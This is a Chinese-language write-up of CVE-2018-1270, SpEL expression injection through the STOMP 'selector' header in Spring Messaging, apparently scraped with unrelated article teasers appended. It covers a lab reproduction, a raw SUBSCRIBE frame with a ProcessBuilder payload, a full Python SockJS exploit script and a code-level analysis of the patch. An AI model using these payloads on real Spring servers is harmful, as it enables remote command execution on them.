当前位置: 首页 > news >正文

[JAVA安全]Spring Messaging之CVE-2018-1270

 

漏洞简介

Spring 框架中通过spring-messaging 模块来实现 STOMP (Simple Text-Orientated Messaging Protocol),STOMP是一种封装 WebSocket的简单消息协议。攻击者可以通过建立WebSocket连接并发送一条消息造成远程代码执行, spring-messaging和spring-websocket模块都能提供WebSocket支持的STOMP,一旦有了这些依赖项,就可以通过WebSocket使用SockJS Fallback公开STOMP端点。

具体的说,在Spring Messaging 中,其允许客户端订阅消息,并使用selector 过滤消息,其中 selector 使用SpEL 表达式编写,并使用StandardEvaluationContext解析,从而导致SpEL表达式注入漏洞。

推荐一篇文章 以理解 STOMP :Spring消息之STOMP - JMCui - 博客园 (cnblogs.com)

 引用p神的描述:

spring-messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。 连接后端服务器的流程,可以理解为:

1. 用STOMP协议将数据组合成一个文本流

2. 用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信

正是由于第2条的存在,我们才可以使用http来复现该漏洞,称之为“降维打击”

如同提及 Struts2 RCE 类漏洞都要提及OGNL 表达式语言

而 Spring 的RCE 类漏洞 往往和SpEL 表达式有关

环境搭建:

git clone https://github.com/spring-guides/gs-messaging-stomp-websocket回退到 漏洞版本
cd gs-messaging-stomp-websocket
git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3

然后导入到IDEA,进行MAVEN加载

 运行成功:

漏洞复现:

方式一:

通过开发者工具F12 修改其中的 app.js 里面的 connect函数 

如何修改,直接定义一个header,里面写入json格式的“selector”,值为SpEL表达式,内容是弹计算器;最后在加入该header

 var header  = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};

最后记得保存一下该app.js

这个时候,依次点击Connect,输入任意字符串,单击Send

 

 利用完成了,但是感觉不是RCE,就像是修改本地文件一样。

但是如果你去Console 看一眼,你会发现整个通讯过程很多是js 完成的,不是app.js发起,就是调用 stomp.min.js 来发起

方式二:

从前面提到

STOMP是将数据组合成文本流spring-messaging通过sockjs协议发送该文本流,走的是websocket或xhr其中一种通道 

具体可以在 "网络"  可以看到

 其实可以发现当你点击完Connect按钮以后,剩余的通讯过程双方全是通过Websocket进行了,当然通讯的内容我们也是可以直接在里面看的,切换到“Frames”选项卡,可以看见完整的通讯内容

当然,这个只能看不能改,能不能类似burp改http包来改包呢?

毕竟我们知道:burp是能拦截修改websocket数据包的,所以自然可以用于发现并修改整个connect和send的过程websocket的相关情况。同时改app.js这种方式本质上是发送的内容中加了header字段,里面写了selector和SpEL表达式实现命令执行。讲道理是可以用burp替代浏览器完成相关发包操作的。

如果这个时候你用burp抓一下Chrome浏览器的数据包,你会非常震惊地发现:

啥包都没抓到

如果遇到这个情况,你可以改用Firefox浏览器,就可以抓取到相关数据包

步骤1 :

 先单击“Connect”按钮建立连接,依次抓取并释放,直到抓到内容为以下的websocket包时

在greetings后面添加payload(适用Windows系统),注意双引号使用反斜杠进行转义

 完整pyload:

["SUBSCRIBE\nid:sub-0\ndestination:/topic/greetings\nselector:new java.lang.ProcessBuilder(\"calc\").start()\n\n\u0000"]

步骤2:

在文本框中输入任意字符串即可,然后点击  "Send"

 ta

使用burp修改websocket包这种方式适合漏洞复现,有点感觉,但是CVE-2018-1270这个漏洞,网上已经有POC和EXP流出了,有没有可以用python直接执行exp的脚本这种方式实现命令执行呢?

P牛在vulhub上已经贴出https://github.com/vulhub/vulhub/blob/master/spring/CVE-2018-1270/exploit.py

我们可以直接下载下来,使用的时候注意几点:

1. 使用spring的guides项目构建的环境无需修改路径,实际项目可能路径会发生变化;
2. 修改sockjs中的目标URL地址;
3. 修改sockjs的send方法中的seletor内容,修改想执行的命令
4. 建议使用python3.6及以上版本运行该exp;
import requests
import random
import string
import time
import threading
import logging
import sys
import jsonlogging.basicConfig(stream=sys.stdout, level=logging.INFO)def random_str(length):letters = string.ascii_lowercase + string.digitsreturn ''.join(random.choice(letters) for c in range(length))class SockJS(threading.Thread):def __init__(self, url, *args, **kwargs):super().__init__(*args, **kwargs)self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'self.daemon = Trueself.session = requests.session()self.session.headers = {'Referer': url,'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'}self.t = int(time.time() * 1000)def run(self):url = f'{self.base}/htmlfile?c=_jp.vulhub'response = self.session.get(url, stream=True)for line in response.iter_lines():time.sleep(0.5)def send(self, command, headers, body=''):data = [command.upper(), '\n']data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))data.append('\n\n')data.append(body)data.append('\x00')data = json.dumps([''.join(data)])response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)if response.status_code != 204:logging.info(f"send '{command}' data error.")else:logging.info(f"send '{command}' data success.")def __del__(self):self.session.close()sockjs = SockJS('http://127.0.0.1:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)sockjs.send('connect', {'accept-version': '1.1,1.0','heart-beat': '10000,10000'
})
sockjs.send('subscribe', {'selector': "T(java.lang.Runtime).getRuntime().exec('calc')",'id': 'sub-0','destination': '/topic/greetings'
})data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {'content-length': len(data),'destination': '/app/hello'
}, data)

整个过程如果顺利的话,就是这样,py里字符串是vulhub

简单看下脚本内容,实际上可以发现本EXP就是使用python将sockjs的send方法实现了一遍,实现了给指定url发送含有SpEL表达式的websocket请求。

对于本EXP(实际上是POC),P牛自己也阐述了大致流程和其中的局限性,这里引用一下:

1.基础地址,在vulhub中为http://your-ip:8080/gs-guide-websocket
2.待执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')
3.某一个订阅的地址,如vulhub中为:/topic/greetings
4.如何触发这个订阅,即如何让后端向这个订阅发送消息。在vulhub中,我们向/app/hello发送一个包含name的json,即可触发这个事件。当然在实战中就不同了,所以这个poc并不具有通用性。

漏洞分析

不具体调试分析,只分析漏洞点,具体调试分析可以参考其他文章

从补丁的文件开始分析,即 spring-messaging/src/main/java/org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java    

关键在于  addSubscriptionInternal()函数,这里对header参数进行了接收和处理,其中会获取header中的selector,当selector不为空时则设置到expression  (表达式)中:

@Override
protected void addSubscriptionInternal(String sessionId, String subsId, String destination, Message<?> message) {Expression expression = null;MessageHeaders headers = message.getHeaders();String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers);if (selector != null) {try {expression = this.expressionParser.parseExpression(selector);this.selectorHeaderInUse = true;if (logger.isTraceEnabled()) {logger.trace("Subscription selector: [" + selector + "]");}}catch (Throwable ex) {if (logger.isDebugEnabled()) {logger.debug("Failed to parse selector: " + selector, ex);}}}this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);

通过sessionIdsubsId确定一个selector属性,后续服务端就通过这个subsId来查找特定会话,也就是从headers头部信息查找selector,由selector的值作为expression被执行

前面这是Subscribe操作时设置的selector,我们知道漏洞的触发是在Send之后,接着看下Send之后的函数调用。

看到org\springframework\messaging\simp\broker\SimpleBrokerMessageHandler.java,其中有个

sendMessageToSubscribers()函数,即将我们要发送的数据发送给订阅者,其中参数message保存了此次连接的相关信息,message的头部信息包含了selector的属性,调用了findSubscriptions()函数:

protected void sendMessageToSubscribers(@Nullable String destination, Message<?> message) {MultiValueMap<String,String> subscriptions = this.subscriptionRegistry.findSubscriptions(message);...
}

我们跟进查看findSubscriptions()函数,位于org/springframework/messaging/simp/broker/AbstractSubscriptionRegistry.java中,这里将message传进来findSubscriptionsInternal()函数中:

public final MultiValueMap<String, String> findSubscriptions(Message<?> message) {...return findSubscriptionsInternal(destination, message);
}

跟进findSubscriptionsInternal()函数,位于org\springframework\messaging\simp\broker\DefaultSubscriptionRegistry.java中,这里将message传入了filterSubscriptions()函数进行处理:

@Override
protected MultiValueMap<String, String> findSubscriptionsInternal(String destination, Message<?> message) {MultiValueMap<String, String> result = this.destinationCache.getSubscriptions(destination, message);return filterSubscriptions(result, message);
}

跟进filterSubscriptions()函数,同样在DefaultSubscriptionRegistry.java中定义了,该函数获取前面配置的selector来对subscriptions进行过滤选择,如下

private MultiValueMap<String, String> filterSubscriptions(MultiValueMap<String, String> allMatches, Message<?> message) {if (!this.selectorHeaderInUse) {return allMatches;}EvaluationContext context = null;MultiValueMap<String, String> result = new LinkedMultiValueMap<>(allMatches.size());for (String sessionId : allMatches.keySet()) {for (String subId : allMatches.get(sessionId)) {SessionSubscriptionInfo info = this.subscriptionRegistry.getSubscriptions(sessionId);if (info == null) {continue;}Subscription sub = info.getSubscription(subId);if (sub == null) {continue;}Expression expression = sub.getSelectorExpression();if (expression == null) {result.add(sessionId, subId);continue;}if (context == null) {context = new StandardEvaluationContext(message);context.getPropertyAccessors().add(new SimpMessageHeaderPropertyAccessor());}try {if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {result.add(sessionId, subId);}}catch (SpelEvaluationException ex) {if (logger.isDebugEnabled()) {logger.debug("Failed to evaluate selector: " + ex.getMessage());}}catch (Throwable ex) {logger.debug("Failed to evaluate selector", ex);}}}return result;
}

分析得知,通过Expression expression = sub.getSelectorExpression();来获取前面订阅时设置的Selector表达式,然后在if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class)))代码中调用了expression.getValue()函数,这就是漏洞触发点,成功触发了SpEL表达式注入漏洞。

补丁:

Re-use EvaluationContext in DefaultSubscriptionRegistry · spring-projects/spring-framework@e0de912 · GitHub

主要是修改了DefaultSubscriptionRegistry这个类,用SimpleEvaluationContext来替代了StandardEvaluationContext,也就是采用了SpEL表达式注入漏洞的通用防御方法。

参考文献:

spring-messaging Remote Code Execution 分析-【CVE-2018-1270】

浅析Spring Messaging之CVE-2018-1270 [ Mi1k7ea ]

IDEA动态调试分析Spring RCE CVE-2018-1270 - MeetSec遇安

相关文章:

[JAVA安全]Spring Messaging之CVE-2018-1270

漏洞简介 Spring 框架中通过spring-messaging 模块来实现 STOMP &#xff08;Simple Text-Orientated Messaging Protocol&#xff09;,STOMP是一种封装 WebSocket的简单消息协议。攻击者可以通过建立WebSocket连接并发送一条消息造成远程代码执行&#xff0c; spring-messagin…...

CAN通信笔记-位时间、Tq及采样点同步

本文框架1.前言2. 位时间2.1 位时间定义2.2 位时间计算3. Tq3.1 Tq的计算3.1.1 举个例子3.2 位时间与Tq的换算4. 采样点同步4.1 硬同步4.2 重同步4.2.1 延长PBS1的重同步4.2.2 缩短PBS2的重同步1.前言 本篇记录些关于CAN的一些学习笔记&#xff0c;说实话CAN协议发展的已经非常…...

玩转 Kubernetes 配置管理:ConfigMap 和 Secret 实战演示

目录一、简介二、ConfigMap2.1 基于目录创建 ConfigMap2.2 基于文件创建 ConfigMap2.3 从环境文件创建 ConfigMap2.4 定义从文件创建 ConfigMap 时要使用的键2.5 根据字符串创建 ConfigMap三、Secret3.1 基于文件创建Secret3.2 基于字符串创建Secret3.3 yaml文件方式创建secret…...

Kubernetes

一、 kubernetes介绍 1.1 应用部署方式演变 在部署应用程序的方式上&#xff0c;主要经历了三个时代 传统部署&#xff1a;互联网早期&#xff0c;会直接将应用程序部署在物理机上 优点&#xff1a;简单&#xff0c;不需要其它技术的参与 缺点&#xff1a;不能为应用程序定义…...

从零开始 verilog 以太网交换机(三)MAC发送控制器的设计与实现

从零开始 verilog 以太网交换机&#xff08;三&#xff09;MAC发送控制器的设计与实现 &#x1f508;声明&#xff1a; &#x1f603;博主主页&#xff1a;王_嘻嘻的CSDN主页 &#x1f9e8; 从零开始 verilog 以太网交换机系列专栏&#xff1a;点击这里 &#x1f511;未经作者允…...

使用vector<char>作为输入缓冲区

一、引言 当我们编写代码&#xff1a;实现网络接收、读取文件内容等功能时&#xff0c;我们往往要在内存中开辟一个输入缓冲区(又名&#xff1a;input buffer/读缓冲区&#xff09;来存贮接收到的数据。在C里面我们可以用如下方法开辟输入缓冲区。 ①使用C语言中的数组&#x…...

自己在网站搭建用到的一些网站

背景 以后可能很少做网站类的项目了&#xff0c;所以做个简单总结&#xff0c;把自己的一些经历和一些小工具做个记录 域名和主机 https://www.godaddy.com/zh-sg, 我之前的基本都是国际会议型的网站&#xff0c;所以就在gadaddy上买了主机和域名。目标群体在国内可以考虑腾…...

XLSReadWriteII5 Color 颜色l的调用和使用

XLSReadWriteII5 Color 颜色l的调用和使用 一、色彩三原色 自然界&#xff0c;颜色是由红、绿、蓝三色组成&#xff0c;人眼的可见的颜色&#xff0c;可以通过红、绿、蓝三色按照不同的比例合成产生。 任意一种颜色由这三种原色按照一定的比例混合出来。 二、Windows系…...

RT-Thread SP使用教程

RT-Thread SPI 使用教程 实验环境使用的是正点原子的潘多拉开发板。 SPI从机设备使用的是BMP280温湿度大气压传感器。 使用RT-Thread Studio搭建基础功能。 1. 创建工程 使用RT-Thread Studio IDE创建芯片级的工程。创建完成后&#xff0c;可以直接编译下载进行测试。 2.…...

LeetCode 2363. 合并相似的物品

给你两个二维整数数组 items1 和 items2 &#xff0c;表示两个物品集合。每个数组 items 有以下特质&#xff1a; items[i] [valuei, weighti] 其中 valuei 表示第 i 件物品的 价值 &#xff0c;weighti 表示第 i 件物品的 重量 。 items 中每件物品的价值都是 唯一的 。 请你…...

numpy 中常用的数据保存、fmt多个参数

在经常性读取大量的数值文件时(比如深度学习训练数据),可以考虑现将数据存储为Numpy格式,然后直接使用Numpy去读取,速度相比为转化前快很多 一、保存为二进制文件(.npy/.npz) &#xff08;1&#xff09;numpy.save(file, arr, allow_pickleTrue, fix_importsTrue) file:文件名…...

从0到1一步一步玩转openEuler--19 openEuler 管理服务-特性说明

文章目录19 管理服务-特性说明19.1 更快的启动速度19.2 提供按需启动能力19.3 采用cgroup特性跟踪和管理进程的生命周期19.4 启动挂载点和自动挂载的管理19.5 实现事务性依赖关系管理19.6 与SysV初始化脚本兼容19.7 能够对系统进行快照和恢复19 管理服务-特性说明 19.1 更快的…...

23美赛E题:光污染(ICM)完整思路Python代码

问题E(综合评价与仿真题):光污染(ICM) 背景 光污染用于描述过度或不良使用人造光。我们称之为光污染的一些现象包括光侵入、过度照明和光杂波。在大城市,太阳落山后,这些现象最容易在天空中看到;然而,它们也可能发生在更偏远的地区。 光污染会改变我们对夜空的看法,…...

快速排序的描述以及两种实现方案

一、快速排序描述 每一轮排序选择一个基准点&#xff08;pivot&#xff09;进行分区 1.1. 让小于基准点的元素的进入一个分区&#xff0c;大于基准点的元素的进入另一个分区 1.2. 当分区完成时&#xff0c;基准点元素的位置就是其最终位置在子分区内重复以上过程&#xff0c;直…...

算力引领 数“聚”韶关——第二届中国韶关大数据创新创业大赛圆满收官

为进一步促进数字经济领域创新创业发展&#xff0c;推动国家数据中心集群建设&#xff0c;构建大数据领域资源专业平台&#xff0c;促进大湾区大数据科技成果和创新创业人才转化落地&#xff0c;为韶关大数据领域创新型产业集群的打造、大数据科技成果和创新创业人才的转化落地…...

MySQL 记录锁+间隙锁可以防止删除操作而导致的幻读吗?

文章目录什么是幻读&#xff1f;实验验证加锁分析总结什么是幻读&#xff1f; 首先来看看 MySQL 文档是怎么定义幻读&#xff08;Phantom Read&#xff09;的: The so-called phantom problem occurs within a transaction when the same query produces different sets of r…...

【分库分表】企业级分库分表实战方案与详解(MySQL专栏启动)

&#x1f4eb;作者简介&#xff1a;小明java问道之路&#xff0c;2022年度博客之星全国TOP3&#xff0c;专注于后端、中间件、计算机底层、架构设计演进与稳定性建设优化&#xff0c;文章内容兼具广度、深度、大厂技术方案&#xff0c;对待技术喜欢推理加验证&#xff0c;就职于…...

(考研湖科大教书匠计算机网络)第五章传输层-第五节:TCP拥塞控制

获取pdf&#xff1a;密码7281专栏目录首页&#xff1a;【专栏必读】考研湖科大教书匠计算机网络笔记导航 文章目录一&#xff1a;拥塞控制概述二&#xff1a;拥塞控制四大算法&#xff08;1&#xff09;慢开始和拥塞避免A&#xff1a;慢启动&#xff08;slow start&#xff09;…...

13.使用自动创建线程池的风险,要自己创建为好

自动创建线程池就是直接调用 Executors去new默认的那几个线程池&#xff0c;但是会出现一定的风险&#xff0c;线程池里面会用到队列&#xff0c;也会跟线程池自身有关&#xff0c;所以要从队列和线程池两个方面去解析。 1.了解线程池的队列 线程池的内部结构主要由四部分组成…...

【项目设计】—— 负载均衡式在线OJ平台

目录 一、项目的相关背景 二、所用技术栈和开发环境 三、项目的宏观结构 四、compile_server模块设计 1. 编译服务&#xff08;compiler模块&#xff09; 2. 运行服务&#xff08;runner模块&#xff09; 3. 编译并运行服务&#xff08;compile_run模块&#xff09; 4…...

XCTF-web-easyupload

试了试php&#xff0c;php7&#xff0c;pht&#xff0c;phtml等&#xff0c;都没有用 尝试.user.ini 抓包修改将.user.ini修改为jpg图片 在上传一个123.jpg 用蚁剑连接&#xff0c;得到flag...

基于Flask实现的医疗保险欺诈识别监测模型

基于Flask实现的医疗保险欺诈识别监测模型 项目截图 项目简介 社会医疗保险是国家通过立法形式强制实施&#xff0c;由雇主和个人按一定比例缴纳保险费&#xff0c;建立社会医疗保险基金&#xff0c;支付雇员医疗费用的一种医疗保险制度&#xff0c; 它是促进社会文明和进步的…...

UE5 学习系列(三)创建和移动物体

这篇博客是该系列的第三篇&#xff0c;是在之前两篇博客的基础上展开&#xff0c;主要介绍如何在操作界面中创建和拖动物体&#xff0c;这篇博客跟随的视频链接如下&#xff1a; B 站视频&#xff1a;s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...

在四层代理中还原真实客户端ngx_stream_realip_module

一、模块原理与价值 PROXY Protocol 回溯 第三方负载均衡&#xff08;如 HAProxy、AWS NLB、阿里 SLB&#xff09;发起上游连接时&#xff0c;将真实客户端 IP/Port 写入 PROXY Protocol v1/v2 头。Stream 层接收到头部后&#xff0c;ngx_stream_realip_module 从中提取原始信息…...

python如何将word的doc另存为docx

将 DOCX 文件另存为 DOCX 格式&#xff08;Python 实现&#xff09; 在 Python 中&#xff0c;你可以使用 python-docx 库来操作 Word 文档。不过需要注意的是&#xff0c;.doc 是旧的 Word 格式&#xff0c;而 .docx 是新的基于 XML 的格式。python-docx 只能处理 .docx 格式…...

智能分布式爬虫的数据处理流水线优化:基于深度强化学习的数据质量控制

在数字化浪潮席卷全球的今天&#xff0c;数据已成为企业和研究机构的核心资产。智能分布式爬虫作为高效的数据采集工具&#xff0c;在大规模数据获取中发挥着关键作用。然而&#xff0c;传统的数据处理流水线在面对复杂多变的网络环境和海量异构数据时&#xff0c;常出现数据质…...

10-Oracle 23 ai Vector Search 概述和参数

一、Oracle AI Vector Search 概述 企业和个人都在尝试各种AI&#xff0c;使用客户端或是内部自己搭建集成大模型的终端&#xff0c;加速与大型语言模型&#xff08;LLM&#xff09;的结合&#xff0c;同时使用检索增强生成&#xff08;Retrieval Augmented Generation &#…...

Yolov8 目标检测蒸馏学习记录

yolov8系列模型蒸馏基本流程&#xff0c;代码下载&#xff1a;这里本人提交了一个demo:djdll/Yolov8_Distillation: Yolov8轻量化_蒸馏代码实现 在轻量化模型设计中&#xff0c;**知识蒸馏&#xff08;Knowledge Distillation&#xff09;**被广泛应用&#xff0c;作为提升模型…...

【Go语言基础【13】】函数、闭包、方法

文章目录 零、概述一、函数基础1、函数基础概念2、参数传递机制3、返回值特性3.1. 多返回值3.2. 命名返回值3.3. 错误处理 二、函数类型与高阶函数1. 函数类型定义2. 高阶函数&#xff08;函数作为参数、返回值&#xff09; 三、匿名函数与闭包1. 匿名函数&#xff08;Lambda函…...

Java数值运算常见陷阱与规避方法

整数除法中的舍入问题 问题现象 当开发者预期进行浮点除法却误用整数除法时,会出现小数部分被截断的情况。典型错误模式如下: void process(int value) {double half = value / 2; // 整数除法导致截断// 使用half变量 }此时...